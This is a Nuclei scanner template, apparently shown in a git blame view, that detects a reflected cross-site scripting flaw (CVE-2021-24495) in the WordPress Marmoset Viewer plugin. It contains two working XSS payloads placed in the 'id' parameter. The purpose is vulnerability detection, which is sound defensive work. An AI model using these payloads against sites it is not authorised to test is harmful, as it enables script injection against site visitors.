nuclei-templates/http/cves/2021/CVE-2021-24495.yaml

60 lines
2.5 KiB
YAML
Raw Normal View History

id: CVE-2021-24495
info:
name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
author: johnjhacking
severity: medium
description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 12:09:01 +00:00
remediation: |
Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
reference:
- https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
- https://wordpress.org/plugins/marmoset-viewer/#developers
- https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
- https://nvd.nist.gov/vuln/detail/CVE-2021-24495
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24495
cwe-id: CWE-79
2024-05-31 19:23:20 +00:00
epss-score: 0.00123
epss-percentile: 0.46682
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: marmoset
product: marmoset_viewer
2023-09-06 12:09:01 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,xss,wpscan,wp-plugin,wordpress,intrusive,marmoset
http:
- method: GET
path:
2021-06-30 12:54:34 +00:00
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
matchers-condition: and
matchers:
- type: word
part: body
2023-07-11 19:49:27 +00:00
words:
- </script><svg/onload=alert('{{randstr}}')>
- alert(/{{randstr}}/)
2021-07-06 06:33:51 +00:00
condition: or
- type: word
words:
2023-07-11 19:49:27 +00:00
- Marmoset Viewer
2024-03-26 17:26:22 +00:00
- type: word
part: header
words:
- text/html
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100d42d40aa6ef4a884d3084a8e50e0ee71972fde405b612c457030f7b4fbd83a0202202f0373f878a48a8d60e2ba1fc2b19de2a80adfe86236c8f906bb74d7f01e720d:922c64590222798bb761d5b6d8e72950